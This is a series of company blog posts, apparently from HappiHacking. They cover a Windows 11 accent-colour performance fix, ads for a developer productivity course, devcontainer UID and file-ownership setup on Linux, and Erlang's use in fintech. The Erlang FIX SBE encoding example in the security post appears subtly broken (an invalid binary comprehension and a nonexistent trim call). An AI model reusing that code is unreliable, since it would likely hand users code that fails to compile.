Automatic accent colors in Windows 11 work by scanning your desktop background to pick a dominant color for the system interface. The idea is to create a visually cohesive experience.

Here’s the technical breakdown of what happens:

Image Analysis: Windows analyzes your current background image.
Color Quantization: The system reduces the image to a smaller set of dominant colors.
Color Selection: It chooses the most prominent hue and sets it as the accent color.

While this process sounds lightweight, it becomes demanding when you use large, high-resolution background images and especially if you have multiple monitors.

Every time you switch desktops, Windows recalculates the dominant accent color. For systems with high-resolution images, that’s a lot of pixels to process, which introduces noticeable delays.

The Twist: Wasted Calculations

Here’s what made the issue even more absurd on my system: I had the following two settings turned off:

Show accent color on Start and Taskbar
Show accent color on title bars and window borders

This means I wasn’t even seeing the accent color most of the time, except in a few subtle UI elements like buttons. Yet, Windows continued recalculating the accent color in the background, wasting resources for a feature I wasn’t actively using.

The Fix: Disable Automatic Accent Colors

Thankfully, the fix is simple. By turning off automatic accent colors, you eliminate the unnecessary calculations and speed up virtual desktop switching.

Here’s how to do it:

Open Settings.
Go to Personalization > Colors.
Under "Accent Color," In the dropdown switch from "Automatic" to "Manual".
Select a manual color instead.

While you’re at it, you can also ensure the following are turned off (if you’re not using them):

Show accent color on Start and Taskbar
Show accent color on title bars and window borders

Conclusion

Windows 11’s automatic accent color feature is a nice touch for aesthetics, but it comes at a performance cost-especially if you’re not even using the accent color. By disabling it, you can reclaim snappy desktop switching and stop wasting resources on needless calculations.

If your virtual desktops are crawling, give this fix a try. You might be surprised at how much faster things feel.

Level Up your Developer Productivity

2024-11-26T00:00:00Z

Level Up Your Dev Game: From Bug Fixes to Big Wins

Hey, Gen-Z coders! You’re the digital natives, the champions of TikTok tutorials and side hustle startups. But let’s be real: even the savviest tech wizard can feel stuck in the grind of endless sprints, debugging nightmares, and overwhelming to-do lists. Fear not-our new course, Developer Productivity Mastery, is here to help you slay the grind and reclaim your time, focus, and sanity.

What’s This Course All About?

Think of this course as your all-in-one productivity toolkit. It’s designed to help you find motivation, build habits, and master your workflow like the true boss you are. Whether you’re managing your first big project or juggling a side hustle while learning Rust at 2 AM, we’ve got you covered.

This isn’t some cookie-cutter “time management” fluff. It’s practical, actionable, and packed with the kind of hacks you’d DM your squad about.

The Modules That’ll Change Your Dev Life

“Developer Productivity Mastery” includes six power-packed modules:

Module 1: Developer Motivation - Finding Your Why Learn to code with purpose and map out your career like the hero of an epic video game. Spoiler: You’re also unlocking mentor-level skills to help others level up.
Module 2: Building Productive Habits and Routines Create habits that stick, so you can stop procrastinating and start thriving. Yes, we’ll teach you how to actually finish that side project.
Module 3: Effective Time Management and Prioritization Master time-blocking, kill distractions, and finally hit that flow state you’ve been chasing.
Module 4: Mastering Workflow Optimization and Automation Automate the boring stuff, optimize your tools, and learn how to work smarter, not harder.
Module 5: Building Better Collaboration and Communication Get the skills to lead your team, ace code reviews, and write documentation that doesn’t make your future self cry.
Module 6: Tools, Tricks, and Hacks for Better Development Shortcut your way to success with tips, tricks, and hacks for better coding and faster deployment.

Why You’ll Love It

No Boring Theory This is for the devs who want action, not lectures. Everything in the course is practical, relatable, and easy to implement-even if you’re running on caffeine and vibes.
Focus on Your Why Module 1 helps you define your goals so clearly that every commit, PR, and merge feels like a step toward your dream. You’ll leave this course as someone with a clear purpose in tech-and life.
Tools to Slay the Grind Modules 4 and 6 are like cheat codes for productivity. Whether it’s automating your workflows or discovering the best IDE plugins, we’ve got the hacks to keep your focus on what truly matters.
Next-Level Collaboration Gen-Z doesn’t work in silos, and neither should you. Module 5 is all about turning your communication and teamwork skills into superpowers. Say goodbye to awkward Slack messages and hello to leading your squad to glory.

Easter Eggs for the Meme Lords

We’ve packed the course with references you’ll love-from low-key nods to your favorite memes to challenges that feel more like side quests than chores. Productivity has never been this fun.

What You’ll Leave With

When you finish this course, you’ll not only have streamlined your workflows but also boosted your confidence and clarity. Whether it’s your startup, your day job, or your dream side hustle, you’ll be ready to crush it like a boss.

Are You Ready to Level Up?

Developer Productivity Mastery is the boost your dev life needs. Sign up now and start your journey from chaos to controlled mastery. Think of it as the productivity glow-up you didn’t know you needed-but will never want to code without.

Email info@happihacking.se now to start slaying your dev grind like a pro! 🚀

Mastering Developer Productivity

2024-11-26T00:00:00Z

From Gen-X to Gen-Excellence: A Developer's Journey to Productivity

Ah, Gen-X developers-the unsung heroes of the tech revolution. You’re the bridge between punch cards and AI, the masterminds who survived the floppy disk apocalypse and witnessed the rise of the Internet in all its pixelated glory. But let’s face it: even the most seasoned coder can hit the dreaded daily grind wall. Fear not, because Mastering Developer Productivity is here to rekindle your spark, one Easter egg and Gen-X meme at a time.

What’s This Course All About?

It’s a call to action for developers stuck in the limbo of maintenance tasks, endless bug fixes, and chaotic Jira boards. Remember the thrill of your first Hello World program? This course brings that magic back, guiding you through the essentials of motivation, workflow optimization, and habits that stick-because let’s admit it, old habits don’t just die hard; they respawn harder.

Course Overview

The new course, “Developer Productivity Mastery,” consists of six practical and empowering modules:

Module 1: Developer Motivation - Finding Your Why Rediscover your purpose and craft your personal hero’s journey, ultimately preparing you to step into the role of a mentor.
Module 2: Building Productive Habits and Routines Learn how to establish habits that align with your goals for consistent focus and productivity.
Module 3: Effective Time Management and Prioritization Master time-blocking, prioritization, and strategies to minimize distractions.
Module 4: Mastering Workflow Optimization and Automation Discover how to eliminate bottlenecks, streamline workflows, and embrace automation tools.
Module 5: Building Better Collaboration and Communication Hone your teamwork and communication skills for better collaboration and code reviews.
Module 6: Tools, Tricks, and Hacks for Better Development Supercharge your development with insider tips, IDE extensions, and coding shortcuts.

Why This Course is Perfect for You

Nostalgia Meets Now We know you don’t need another lecture on “synergy” or “disruption.” Instead, we’ll help you optimize your workflow with tools that respect your experience, not reinvent the wheel. Think of it as upgrading your Windows 95 mindset to match today’s needs-minus the Clippy pop-ups.
Motivation, Gamified Module 1 is all about rediscovering your “why.” You’ll craft a personal hero’s journey, not to remain the hero but to level up as the guide. Think Gandalf, Obi-Wan, or that wise mentor every story needs. The real Easter eggs? The friends and skills you’ve gained along the way, equipping you to lead others to greatness. Your role isn’t just about writing code; it’s about writing the legacy others will follow.
No-BS Productivity Hacks From time-blocking to automation, Module 4 hands you the cheat codes for developer life. And no, these aren’t the CTRL+ALT+DEL kind-they’re about reclaiming your focus and time. Let’s turn “just one more email” into “just one more project milestone.”

Easter Eggs for the Gen-X Soul

We’ve sprinkled the course with references only you’ll get. (Hint: remember Zork?) Plus, the worksheets are filled with retro-themed tips-because who says work can’t feel like playing your favorite 8-bit RPG?

What You’ll Leave With

By the end of the course, you’ll not only optimize your workflows but also rediscover joy in your craft. You’ll be the mentor every millennial developer dreams of and the legend that even Gen Z looks up to. Yes, you can crush deadlines and share the best coding memes on Slack.

Let’s Do This

Join Mastering Developer Productivity today. Your career deserves an upgrade, and hey, you might just have fun along the way. Think of it as the ultimate LAN party for your professional life-snacks optional but highly encouraged.

Just send an email (yes, we prefer old school email to fancy sign up boxes) to info@happihacking.se.

Developer Productivity

2024-11-26T00:00:00Z

Developer Productivity Mastery: A New Course from HappiHacking

Feeling stuck in your coding career is like debugging a problem with no stack trace-frustrating, time-consuming, and downright maddening. Maybe your workflows feel inefficient, your automation isn’t automating enough, or your team’s collaboration feels more like controlled chaos than smooth synergy. Whatever the challenge, HappiHacking's Developer Productivity Mastery course is here to guide you out of the rut and into a place of clarity, focus, and success.

What’s the Goal?

Imagine going from frustrated to efficient, from overwhelmed to organized. This course is designed to help developers at any stage of their career master their workflows, implement automation effectively, and communicate and collaborate like seasoned professionals. Whether you’re a solo dev or part of a large team, these skills will transform your approach to coding and project management.

Let’s take your productivity to the next level, turning the daily grind into a well-paced rhythm where you’re in control of your tasks, tools, and time.

What’s Inside the Course?

Module 1: Developer Motivation - Finding Your Why We’ll start by rediscovering what drives you as a developer, helping you align your daily actions with your broader career goals. By the end of this module, you’ll have a renewed sense of purpose and direction.

Module 2: Building Productive Habits and Routines Learn how to create and maintain habits that keep you focused, consistent, and efficient. This module emphasizes routines that fit seamlessly into your life, making productivity feel natural rather than forced.

Module 3: Effective Time Management and Prioritization Dive into techniques like time-blocking, deep work, and effective task prioritization. This module is all about helping you reclaim your time, minimize distractions, and tackle your most important work with clarity.

Module 4: Mastering Workflow Optimization and Automation Discover how to identify bottlenecks in your workflows and use tools and techniques to remove them. Learn to implement CI/CD, automated testing, and scripting to make repetitive tasks a thing of the past.

Module 5: Building Better Collaboration and Communication Good teamwork doesn’t happen by accident. This module explores how to communicate clearly, conduct effective code reviews, and create a culture of accountability.

Module 6: Tools, Tricks, and Hacks for Better Development From customizing your IDE to using AI-powered tools for suggestions and error detection, this module is packed with modern tips and techniques to enhance your coding experience.

What Makes This Course Different?

Practical and Actionable No fluff-every module is designed with real-world applications in mind. You’ll learn techniques you can immediately put into practice to improve your workflow and efficiency.
Adaptable for All Developers Whether you’re just starting out or you’ve been in the industry for decades, this course offers value. The strategies and tools are versatile enough to fit any development role or experience level.
Focus on the Big Picture It’s not just about completing tasks-it’s about understanding how to work smarter, automate repetitive processes, and make your workflows as seamless as possible.

Why Take This Course?

By the end of Developer Productivity Mastery, you’ll have the tools, skills, and mindset to transform how you work. You’ll handle tasks with confidence, communicate effectively, and use the best tools and practices to optimize your development process.

Ready to step out of stuck mode and into a productive flow? Contact HappiHacking today, by emailing info@happihacking.se, to learn more about this course and our coaching services.

Let’s make your workday feel less like a grind and more like a game you’re winning!

Dev Containers Part 3: UIDs and file ownership

2024-10-29T00:00:00Z

This is the third entry in a series of posts on devcontainers; the first entry is here.

In the previous post, we showed how to configure devcontainers for a small project and how to access the environment from within Emacs.

The project directory mount

A running container is an isolated bubble, a separate operating system instance, and by default it does not have access to the host's file system. In order for the code running inside the container to have access to your project files (but no other files on your system), the project root directory in your local file system must be mounted inside the container. This is one of the things that devcontainers do automatically for you.

Typically, the container runs a version of Linux, such as Ubuntu, or Alpine, and it will see your files through the eyes of a Linux file system with Unix-style User Identifers (UIDs), Group Identifers (GIDs), and permission flags (read/write/execute). Although is possible to run Windows or MacOS as the operating system inside the container, this article is only about the Linux case.

Your host system on the other hand could be anything - Windows (with an NTFS file system), MacOS (with Apple File System), or another Linux system running a typical Linux file system like ext4 natively.

When a devcontainer is started (automatically by VSCode or some other editor, or manually via the devcontainer CLI), the project root .../DIRNAME in the host file system gets mounted in the container under the path /workspace/DIRNAME, using a Docker bind mount, so the project's files can be accessed from within. This should just work with no effort from you.

File ownership

The big question is how the "user" inside the container - the processes running on your behalf - can be allowed to read and modify these files. For this to work, it must look to the container as if the files are owned by the same user account as the one running the processes, or alternatively as if the processes are running as the super-user (root in Linux) who is allowed to do anything.

On Windows and Mac OS, there is a virtualization layer that maps between the external user's own user ID and group ID (the ones used in the native file system on the host), and the Linux-style UID and GID used by the processes and the mounted files inside the container. Regardless of whether the UID inside the container is 0 (root) or something else like 1000 (typically the first normal user account in Linux), the virtualization will translate the file ownership so the processes in the container may access the files, and outside the container, it looks like it was you who made the changes directly in the host file system, e.g. NTFS on Windows.

On Linux, however, there is no virtualization, just sandboxing, and all UIDs and GIDs are passed through directly between the container and the host system. It is more efficient, but at the same time it can be quite confusing.

Devcontainers on Linux

If you're only running on Mac OS or Windows and it's not your job to actually fiddle with the devcontainer configuration, then congratulations, you can skip the rest of this article. But if you need to understand what happens on a Linux host and want to make sure your containers are configured properly, then read on.

No UID/GID translation

Symptoms of this lack of translation can be:

Processes in the container are not allowed to read or write files in the workspace.

Typically, this happens if the UID inside the container is 1000 but your actual UID on the host system is 1001, or vice versa.
Files or directories that were created inside the container cannot be modified or deleted outside the container because they are owned by root.

This happens if the container processes run as UID 0. They will always be allowed to create or modify files in the workspace, but any files or directories created will be owned by UID 0 also in the host file system.

UID Update

Devcontainers do have a "UID update" functionality on Linux. It is however not a mapping like the one done on Windows or Mac OS. It's just some extra code that, as the container starts, will check if the external UID is different from the internal, and if so, it will update the UID within the container (by straight up modifying the internal /etc/passwd file) to be the same as the external one. It will also update the Group ID in the same way.

The problem is that it only works under these conditions:

The UID inside the container must not be 0 (root), since that account is special and cannot be given another ID.
The external UID must not already be in use by some other account inside the container, so that the update does not cause a clash.

If these conditions are not met, UID updating is skipped, and the container will run with its default UID.

When it works

If your external user happens to be UID 1000, as it typically is on a single user Linux system, and the container also runs as UID 1000 internally, then no UID update is needed and things just work.
If the container runs as any account except root, such as UID 1000, and your external user is something else such as UID 1001 (or 1017 or whatever), as it might be on a multi user Linux system, then as long as the container does not have another account internally that could clash with yours, the UID update will happen and things will also just work.

When it doesn't work

Many containers have been designed to run as root internally, through a USER declaration in the Dockerfile, and this will result in symptom 2 above.
Some containers have multiple user accounts internally, which can prevent UID update. For example, if the container is set up to run its processes as UID 1001, and your external UID is 1000, then the UID update would try to make the container use 1000 instead - but if that UID is already in use within the container, then the update fails, and the container processes will use its default UID, probably resulting in symptom 1 above.

The latter can easily happen when the Dockerfile that specifies the dev container starts from a base image assuming it has no user with UID 1000 or above, and then creates a new user with something like RUN useradd for its own purposes. If the assumption is wrong and UID 1000 already exists in the base image, the new user will get UID 1001, and it might work fine on Windows and Mac OS thanks to the virtualization, but breaks on a Linux host.

Overriding the base container

Luckily, most problems can be fixed in the devcontainer.json file, if it is not in your power to rebuild the container image.

First of all, you can set containerUser to override the default for all processes, or you can set remoteUser to just override the user for devcontainer commands.

"containerUser": "name-or-UID"

This is like specifying USER in a Dockerfile, so all the container's processes will launch as that user by default.

"remoteUser": "name-or-UID"

This only changes the user for running commands from the outside with devcontainer exec. This is also what happens when a tool like VSCode runs stuff inside the container. (What devcontainer exec does is basically just to parse the devcontainer.json file and then run docker exec -u name-or-UID.)

In most documentation, remoteUser is the recommended one to set. I have not yet found a good explanation of when it is preferred to set `containerUser'.

Doing the right thing

Depending on how the base container is set up, you will need to do different things in order to make UID updating work, so that the UID inside the container will be the same as your external user ID:

If the base container runs as root, but also has an a single non-root user that you can use (such as ubuntu or vscode), you only need to specify that internal user name or UID with remoteUser or containerUser.
If the base container runs as root, and does not have a usable non-root user, don't panic, you just need to create that user when the container starts. Thankfully someone has already solved this so you do not need to write any weird scripts yourself.

Specify the user name with remoteUser or containerUser as above, but also add the following feature declaration (see https://github.com/nils-geistmann/devcontainers-features/blob/main/src/create-remote-user/README.md):
```
"features": {
    "ghcr.io/nils-geistmann/devcontainers-features/create-remote-user:0": {
    }
}
```
If the base container already has a user with UID 1000, but it cannot be the devcontainer user for some reason, then adding a new user is not enough - the external UID will often be 1000, and then the automatic UID updating will fail because UID 1000 is already in use internally. One possibility is then to use a wrapper Dockerfile that changes UIDs or removes users; see https://code.visualstudio.com/remote/advancedcontainers/add-nonroot-user#_change-the-uidgid-of-an-existing-container-user
If you for some reason want to prevent UID update from happening at all, it can be disabled by setting "updateRemoteUserUID": false

Devcontainer-ready images

A lot of the documentation on dev containers assumes you're using VSCode, and often also that you are using a devcontainer-ready image that is already set up with a suitable non-root user and some dev tools, and not just some basic Docker image like ubuntu:22.04.

In that case you typically do not need to to set remoteUser, or use the create-remote-user feature. For example, in https://github.com/devcontainers/images the images mcr.microsoft.com/devcontainers/base:ubuntu-20.04 and mcr.microsoft.com/devcontainers/base:ubuntu-22.04 both have a default user vscode with UID 1000.(*)

If you write your own Dockerfile for your devcontainer configuration instead of referring to some existing image, you should ensure that it is set up similarly so that it can be expected to work for everyone.

(*) In Microsoft's devcontainer images, the USER setting is actually root, but the images have additional devcontainer.metadata which can provide the same settings as devcontainer.json, and this contains an entry "remoteUser":"vscode", so that when started from VSCode or with devcontainer up, the user will be vscode. When started with a plain Docker command, the metadata is not parsed.

Ubuntu 24 hickups

As of Ubuntu 24 (Noble Numbat), the Ubuntu base image comes with a non-root user ubuntu with UID 1000 - though by default the container will run as root. This means that you need to set remoteUser to ubuntu, but you must not use the create-remote-user feature (which you needed on Ubuntu 22 and earlier).

The corresponding devcontainer image from Microsoft (mcr.microsoft.com/devcontainers/base:ubuntu-24.04) has the additional vscode user as usual, but in the earlier versions of this image it gets UID 1001. When your external UID is 1000, as it often is, the UID update is skipped because UID 1000 is in use by the ubuntu user. This has been fixed in mcr.microsoft.com/devcontainers/base:1.2.0-ubuntu-24.04 and later (by deleting the ubuntu user). If you cannot switch to that version, you can either explicitly set "remoteUser": "ubuntu", or you can wrap the image in a Dockerfile that does RUN userdel -r ubuntu.

Emacs

If you're using Emacs with Tramp to access the files (after starting the container with devcontainer up --workspace-folder .), you can open a file in the container by writing the path as

/docker:<container-name-or-ID>:/path/to/file

(e.g. after pressing C-x C-f). This will however use the container's default user, because Emacs does not know about the devcontainer.json file. To select a different user you can write

/docker:<username-or-ID>@<container-name-or-ID>:/path/to/file

This should work by default in Emacs 29 or later.

Conclusion

The way Docker containers map onto different platforms, and how to configure devcontainers to take this into account, can be a source of much hair pulling and long sessions of googling. We hope this piece can be of help.

Enhancing Fintech Security with Erlang

2024-09-24T00:00:00Z

Enhancing Fintech Security with Erlang: Insights from HappiHacking

As the former CTO of Klarna and the founder of HappiHacking and Kindio, I've spent years at the intersection of financial systems and security. The growth of digital transactions has made fintech platforms a prime target for cyber threats. I've found that leveraging Erlang's unique capabilities significantly enhances the security, scalability, and reliability of financial applications.

In this post, I'll share insights into the unique security challenges faced by fintech companies and how Erlang can be utilized to address these challenges effectively.

The Unique Security Challenges in Fintech

Fintech platforms handle sensitive personal and financial data daily. This makes them lucrative targets for cybercriminals employing tactics like phishing, malware, and distributed denial-of-service (DDoS) attacks. New vulnerabilities are constantly emerging, and integrating modern applications with legacy systems often adds layers of complexity.

Ensuring security requires robust technological solutions and a deep understanding of regulatory compliance. Regulations like GDPR, PSD2, PCI DSS, and standards like ISO/IEC 27001 mandate strict guidelines for data protection and transaction security. Non-compliance can result in severe penalties and loss of customer trust.

Building Security from the Ground Up with Erlang

Erlang's architecture provides a robust foundation for developing secure fintech applications, and at HappiHacking, we have fully leveraged its capabilities to create systems that are both secure and high-performing. One of the key strengths of Erlang is its support for concurrency and process isolation. Erlang’s lightweight processes operate independently and communicate through message passing, ensuring that failures or data leaks are contained, minimizing the risk of cascading issues across the system.

Additionally, Erlang's focus on immutable data structures aligns well with the functional programming paradigm, reducing the complexity involved in managing concurrent operations and eliminating the risk of accidental data modifications. This characteristic enhances both system reliability and security.

Another critical feature of Erlang is its built-in fault tolerance, achieved through the use of supervision trees. These trees monitor system processes and automatically detect and restart failed processes, ensuring high availability and resilience-both of which are crucial for financial applications that demand uninterrupted uptime.

Best Practices for Securing Fintech Applications

Building on Erlang's strengths, here are some best practices we've implemented in our projects:

Encrypt All Data: Utilize strong encryption algorithms for data at rest and in transit. Erlang's ssl module facilitates the implementation of secure communication channels.
Implement Multi-Factor Authentication (MFA): Enhance user authentication by combining something the user knows (password) with something they have (token) or something they are (biometric verification).
Regular Security Audits: Conduct periodic security assessments and penetration testing.
Secure Coding Practices: Emphasize code reviews, input validation, and adherence to secure coding standards.
Incident Response Planning: Develop a comprehensive incident response plan.
Compliance Monitoring: Use automated tools to ensure ongoing compliance with relevant regulations and standards.
Tokenization: Replace sensitive data with tokens. In our applications, we've implemented tokenization using UUIDs to minimize the exposure of sensitive information.
API Security: Secure APIs using OAuth 2.0, JWTs, and implement rate limiting. Erlang's capabilities make it efficient to handle secure API requests at scale.
DevSecOps: Integrate security into the development lifecycle. We incorporate security checks into our CI/CD pipelines to catch issues early.
Blockchain Technologies: Leverage techniques from the blockchain world, such as immutable records and transparent transactions. We've explored using Erlang to implement blockchain features like Merkle trees for data verification.
Property-Based Testing: is a powerful tool we utilize to ensure that our systems behave correctly under a wide range of scenarios. This testing method generates a variety of inputs and checks system properties to ensure correctness and robustness.

Leveraging Erlang for Fintech Security

Secure API Development

Erlang's process isolation is ideal for developing secure APIs. Each process handles individual requests, ensuring that if one process is compromised or crashes, others remain unaffected.

Real-Time Fraud Detection

Erlang excels at handling concurrent processes, making it perfect for real-time fraud detection systems. By spawning a separate analyzis process for each transaction, we can analyze patterns in parallel to the exection of the transaction. This leads to lover latencies for transactions.

Implementing Protocols with Binary Pattern Matching

Erlang's binary pattern matching simplifies implementing complex protocols like FIX SBE.

-module(fix_sbe).
-export([encode_order/1, decode_order/1]).

-record(order, {
    order_id,
    price,
    quantity,
    side,
    symbol
}).

encode_order(Order) ->
    SymbolPadded = pad_symbol(Order#order.symbol, 6),
    Body = <<
        Order#order.order_id:64/big-unsigned,
        Order#order.price:64/float,
        Order#order.quantity:32/big-unsigned,
        Order#order.side:8/unsigned,
        SymbolPadded/binary
    >>,
    MsgLength = byte_size(Body) + 4,
    <<
        MsgLength:16/big-unsigned,
        1:16/big-unsigned, % Template ID for Order
        Body/binary
    >>.

decode_order(Binary) ->
    <<MsgLength:16/big-unsigned, TemplateID:16/big-unsigned, Rest/binary>> = Binary,
    case TemplateID of
        1 ->
            decode_order_body(Rest);
        _ ->
            {error, unknown_template}
    end.

decode_order_body(<<OrderID:64/big-unsigned, Price:64/float, Quantity:32/big-unsigned, Side:8/unsigned, Symbol:6/binary>>) ->
    SymbolTrimmed = binary:trim(Symbol, trailing, $ ),
    {ok, #order{order_id = OrderID, price = Price, quantity = Quantity, side = Side, symbol = SymbolTrimmed}}.

pad_symbol(Symbol, Length) ->
    SymbolLength = byte_size(Symbol),
    PaddingSize = Length - SymbolLength,
    Padding = << " " || _ <- lists:seq(1, PaddingSize) >>,
    << Symbol/binary, Padding/binary >>.

This code demonstrates how binary pattern matching efficiently, and more importantly in a very readable way, handles complex binary protocols.

Real-World Examples of Erlang in Action

At HappiHacking, we’ve collaborated with numerous companies to implement Erlang for secure and high-performance systems:

WhatsApp uses Erlang to maintain secure messaging for millions, leveraging its process isolation and concurrency to ensure fast and reliable communication.
Aeternity utilizes Erlang for blockchain compliance, employing its features to handle secure transactions and uphold data integrity in regulated environments.
Kindio relies on Erlang's fault tolerance and concurrency to manage Euro and SEK transactions securely in real-time across the European financial market.
Klarna processes millions of payments daily with Erlang, which provides the reliability and real-time capabilities needed for secure global transactions.
Delta Exchange deploys Erlang for high-frequency trading, utilizing its concurrency model to execute trades efficiently and securely.
Deutsche Telekom partnered with HappiHacking to develop a GDPR-compliant data pipeline that processes 1 billion events daily, focusing on large-scale system architecture and data security.

Erlang’s versatility extends beyond these examples:

Vocalink (Mastercard) employs Erlang for robust financial switches powering national payment systems.
Goldman Sachs integrates Erlang in its hedge fund trading platforms to achieve microsecond-level latency for market data processing and trading.
Nintendo uses Erlang for its Switch console’s messaging, managing millions of concurrent connections, while Riot Games relies on Erlang to support real-time communication for millions of players.
AdRoll processes half a million real-time bid requests per second using Erlang, optimizing ad placements with millisecond precision.

Conclusion

Security in fintech is non-negotiable. By leveraging Erlang's strengths, fintech companies can build systems that are not only secure but also scalable and resilient. At HappiHacking, we've harnessed Erlang to deliver solutions that meet the rigorous demands of the financial industry.

Explore More with HappiHacking

For tailored support in building secure, reliable fintech systems, contact HappiHacking at info@happihacking.se.

Reach out to Kindio for secure, real-time management of Euro and SEK transactions.

Check out these resources:

The BEAM Book: A comprehensive guide to the Erlang VM.
Designing Concurrency: The Erlang Way: Insights into building concurrent applications.
Neural Networks in Elixir: Exploring AI capabilities with Erlang and Elixir.
Delta: Designing Financial Systems for Performance: Strategies for optimizing financial systems.
Aeternity Blockchain: Leveraging Erlang in blockchain technology.

About HappiHacking

At HappiHacking, we specialize in developing high-performance, secure applications using Erlang and Elixir. With a focus on the financial industry, we bring expertise in building scalable systems that meet stringent security and compliance requirements.

Visit our website: happihacking.com

How Erlang Powers High-Volume Finance

2024-09-11T00:00:00Z

Handling high-volume transactions efficiently is a must in fintech. Fintech companies need systems that scale easily, maintain low latency, and remain reliable under heavy loads.

Erlang, initially created for the telecommunications industry, is ideal for fintech. Its features, such as lightweight concurrency, fault tolerance, and native support for distributed computing, make it effective for handling high transaction volumes with minimal latency and high reliability.

The Challenge

High-volume transactions create unique challenges for fintech systems. Every payment, trade, or cross-border transaction must be processed rapidly and accurately. With thousands or even millions of transactions per second, these systems require low latency, high availability, and strong fault tolerance.

To meet these demands, fintech systems must navigate several hurdles. Achieving high performance and low latency is crucial to avoid delays that can disrupt transactions. Security and data privacy are paramount, especially with growing concerns over cyber threats and regulatory requirements. Rapid changes in the market necessitate systems that are adaptable and resilient, able to recover quickly from failures. Integration with both internal and external systems, including legacy infrastructure, adds another layer of complexity. Fintech companies must also comply with a range of regulations while mitigating cybersecurity risks, making the choice of technology even more critical.

When choosing a programming language, there is often a trade-off: lower-level languages may offer better performance but result in more complex solutions, while higher-level languages can simplify development but may struggle with performance. Erlang provides a compelling alternative by using a process-oriented programming model that simplifies concurrent programming, making it both easier and more efficient for handling high transaction volumes.

Why Erlang?

Erlang stands out for its ability to handle high concurrency, distributed computing, and fault tolerance.

Erlang was built with concurrency in mind. It allows developers to create lightweight processes that run independently and communicate through asynchronous message passing. Unlike traditional threads in other languages, Erlang processes are highly efficient, consuming minimal memory and resources. This allows systems built with Erlang to handle millions of simultaneous transactions without slowing down or crashing, making it ideal for high-frequency trading, payment processing, and other high-volume tasks.

Erlang systems often follow the “let it crash” philosophy, where processes are designed to fail fast and recover quickly. Erlang’s built-in supervision trees automatically detect and restart failed processes without affecting the rest of the system. This architecture ensures that the system remains operational even under heavy loads or unexpected errors.

Erlang was designed to run distributed applications across multiple nodes, making it perfect for fintech environments that need to scale across servers and data centers. It natively supports building distributed systems, allowing seamless communication between nodes and enabling redundancy and load balancing. This feature helps fintech companies manage high transaction volumes while ensuring data consistency and fault tolerance across all systems.

One of Erlang’s most unique features is its ability to perform live code updates without requiring system downtime. This capability allows developers to deploy new features, security patches, and bug fixes without interrupting service. This is especially valuable for companies that operate around the clock and cannot afford downtime.

Erlang’s design minimizes the time it takes to execute transactions and respond to events. Its virtual machine, BEAM, is optimized for low-latency operations, ensuring that messages between processes are handled with minimal delay. This real-time performance is essential for applications where even microsecond delays, such as trading platforms and payment gateways, can impact transaction outcomes.

Erlang in the real world

To understand how Erlang's unique capabilities translate into real-world benefits, let's look at some case studies and examples from companies that have successfully leveraged Erlang to handle high transaction volumes.

Klarna - Scalable Payment Processing

Klarna, a leading payment provider, uses Erlang to manage its payment infrastructure. Klarna processes millions of transactions daily, requiring a robust and scalable system that can handle spikes in traffic without compromising performance. Using Erlang, Klarna can manage concurrent payment requests efficiently, reducing latency and ensuring high availability. Erlang’s fault-tolerant architecture allows Klarna to maintain seamless service even during unexpected outages, minimizing downtime and ensuring customer reliability.

Telecommunications - A Proven Model for Scalability and Reliability

Although not initially a fintech example, the use of Erlang in the telecommunications industry provides a strong parallel. Telecom networks must manage millions of concurrent connections with high uptime requirements-similar to what’s needed in fintech for real-time trading or large-scale payment processing. Ericsson initially created Erlang to handle these exact challenges, and its adoption across telecom giants demonstrates its ability to maintain performance under heavy loads.

China Telecom (via EMQx): Relies on Erlang for its EMQx MQTT broker, which supports massive-scale IoT applications and real-time messaging systems. Erlang enables the system to handle millions of messages per second with low latency and high fault tolerance.
Telia: Uses Erlang as a core component in its Telia ACE contact center solution, particularly for its "Call Guide" (also known as ACE) system. Telia ACE leverages Erlang to efficiently manage customer interactions across various channels, including voice, chat, and social media, ensuring high availability and responsiveness.
Cisco: Utilizes Erlang for its NETCONF (Network Configuration Protocol) implementation. NETCONF is a protocol used for network device configuration, and Erlang’s concurrency model allows Cisco to manage multiple configuration sessions simultaneously with high reliability. According to Cisco, 90% of all Internet traffic goes through Erlang-controlled nodes.

WhatsApp - Messaging at Scale

WhatsApp, one of the most popular messaging platforms globally, uses Erlang to manage its massive user base. Although WhatsApp isn’t a fintech company, the scale at which it operates is comparable. Handling billions of messages daily, WhatsApp relies on Erlang’s concurrency model to deliver messages in real-time without delays.

Kindio - Real-Time Euro and SEK Transactions

Kindio, a fintech company specializing in real-time Euro and SEK transactions, leverages Erlang to ensure its settlement systems remain responsive and efficient under heavy load. Using Erlang, Kindio can manage complex transaction flows and ensure compliance with European payment regulations while maintaining optimal performance. Kindio’s use of Erlang enables it to offer instant transactions with minimal latency, providing a reliable and scalable solution.

Architectural considerations when building with Erlang

Erlang provides a middle ground between the complexity of microservices and the limitations of monolithic architectures. While microservices can bring about challenges such as increased operational complexity, communication overhead, and inefficient distributed data management, monoliths often face slow development speed, scalability issues, and complicated deployments. Erlang tackles these issues by allowing for a modular monolithic architecture with a "share-nothing" data model.

Erlang’s approach provides the advantages of both microservices and monoliths while minimizing their respective drawbacks. With Erlang, you can build a modular system that maintains the simplicity and coherence of a monolith but without the rigidity that typically hampers scalability and flexibility. Each module or service runs independently, enabling faster development and deployment cycles while maintaining robust fault tolerance and scalability.

The "share-nothing" architecture means that each process has its own memory and does not directly interfere with others. This allows for seamless scalability, as each process can be managed, scaled, or replaced independently, much like a microservices architecture. However, unlike typical microservices, you avoid the significant overhead of managing multiple services, complex inter-service communication, and data consistency across a distributed network.

Leveraging Erlang’s OTP (Open Telecom Platform)

Erlang's Open Telecom Platform (OTP) is a powerful framework that provides the building blocks needed to create robust, scalable, and fault-tolerant systems. OTP also provides a collection of design principles that guide the development of concurrent and distributed applications.

A key feature of OTP is its supervision trees, which are designed to monitor processes and automatically restart them if they fail. This fault-tolerance model ensures that the system remains stable even when individual components encounter errors, making it ideal for applications where uptime is non-negotiable.

Erlang’s OTP framework also supports hot code swapping, enabling developers to update and modify applications without stopping the system. This is particularly valuable in fintech, where continuous deployment and the need for rapid feature updates or security patches are common.

Best Practices for Erlang in Fintech Systems

To maximize Erlang's potential in fintech environments, it's important to adopt certain best practices. Efficient process management should be fully utilized by designing systems where each transaction or user session is isolated. This approach minimizes the impact of any single failure and allows the system to handle high volumes of concurrent transactions without performance degradation.

Asynchronous messaging should be used wherever possible. In Erlang, processes communicate through message passing, and keeping these messages non-blocking is vital for maintaining low latency and high throughput.

Hot code swapping should be leveraged to enable rapid deployment of new features, bug fixes, and security updates without causing disruptions.

